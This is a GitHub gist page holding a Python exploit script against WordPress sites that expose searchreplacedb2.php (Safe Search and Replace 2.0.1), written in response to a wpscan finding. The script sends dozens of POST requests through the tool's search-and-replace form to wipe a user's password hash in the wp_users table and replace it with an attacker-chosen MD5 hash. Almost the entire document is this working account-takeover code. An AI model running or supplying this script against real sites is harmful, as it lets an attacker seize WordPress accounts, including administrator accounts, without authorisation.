Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Created February 20, 2019 01:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pich4ya/1ac42d89fc307bfb34c03d5679935199 to your computer and use it in GitHub Desktop.
Save pich4ya/1ac42d89fc307bfb34c03d5679935199 to your computer and use it in GitHub Desktop.
Exploit for wpscan's searchreplacedb2.php (Safe Search and Replace version 2.0.1)
# @author longcat (Pichaya Morimoto / p.morimoto@sth.sh)
# update user's password hash using some match&replace magic
#
# Exploit for wpscan's command output:
# [+] http://<wp-site>/searchreplacedb2.php
# | Found By: Search Replace Db2 (Aggressive Detection)
# | Confidence: 100%
# | Reference: https://interconnectit.com/products/search-and-replace-for-wordpress-databases/
#
# Originally written by Lee Nichol
# The original exploit does not work with Safe Search and Replace version 2.0.1
# if ( empty( $rplc ) ) {
# $errors[] = 'Replace string is blank.';
# $step = 4;
# }
import requests
from BeautifulSoup import BeautifulSoup
user = "longcat"
md5_newpass = "cb5af2618d55494a6ecf0d196d13c2cf" # sthpentest
url = "http://127.0.0.1:31337/searchreplacedb2.php"
r = requests.post(url + "?step=2", data={'loadwp': 1})
print(r.status_code, r.reason)
html_proc = BeautifulSoup(r.text)
txtinput = html_proc.findAll('input', {'name': True})
# INSERT INTO `wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (1,'longcat','$P$BPaa0ZGPMUataMBxmDusQ9YFU.87wz0','longcat','pentest@sth.sh','','2019-02-19 22:52:59','',0,'longcat');
dbdic={}
dbdic['tables[]'] = "wp_users"
# clean $ . / in 'user_pass' hash
for el in txtinput:
dbdic[el['name']] = el['value']
# backup 'longcat' as '-----' to prevent replacements
dbdic['srch'] = user
dbdic['rplc'] = "-----"
r = requests.post(url + "?step=5", data=dbdic)
# Replace $./ with x
dbdic['srch'] = "$"
dbdic['rplc'] = "x"
r = requests.post(url + "?step=5", data=dbdic)
dbdic['srch'] = "."
dbdic['rplc'] = "x"
r = requests.post(url + "?step=5", data=dbdic)
dbdic['srch'] = "/"
dbdic['rplc'] = "x"
r = requests.post(url + "?step=5", data=dbdic)
# replace [a-zA-Z] with !
for index in range(27):
dbdic['srch'] = chr(65+index)
dbdic['rplc'] = "!"
r = requests.post(url + "?step=5", data=dbdic)
dbdic['srch'] = chr(97+index)
dbdic['rplc'] = "!"
r = requests.post(url + "?step=5", data=dbdic)
# replace [2-9] with !
for index in range(8):
dbdic['srch'] = chr(50+index)
dbdic['rplc'] = "!"
r = requests.post(url + "?step=5", data=dbdic)
# replace 0! and 1! with !
# because the script does not allow to replace 0 and 1 directly
for index in range(20):
for num in range(2):
dbdic['srch'] = str(num) + "!"
dbdic['rplc'] = "!"
r = requests.post(url + "?step=5", data=dbdic)
dbdic['srch'] = "!" + str(num)
dbdic['rplc'] = "!"
r = requests.post(url + "?step=5", data=dbdic)
# replace all !!!!!... into one single !
for index in range(100):
dbdic['srch'] = "!!"
dbdic['rplc'] = "!"
r = requests.post(url + "?step=5", data=dbdic)
# restore the original username
dbdic['srch'] = "-----"
dbdic['rplc'] = user
r = requests.post(url + "?step=5", data=dbdic)
# replace the last ! which is supposed to be in 'user_pass' with md5(newpass)
dbdic['srch'] = "!"
dbdic['rplc'] = md5_newpass
r = requests.post(url + "?step=5", data=dbdic)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment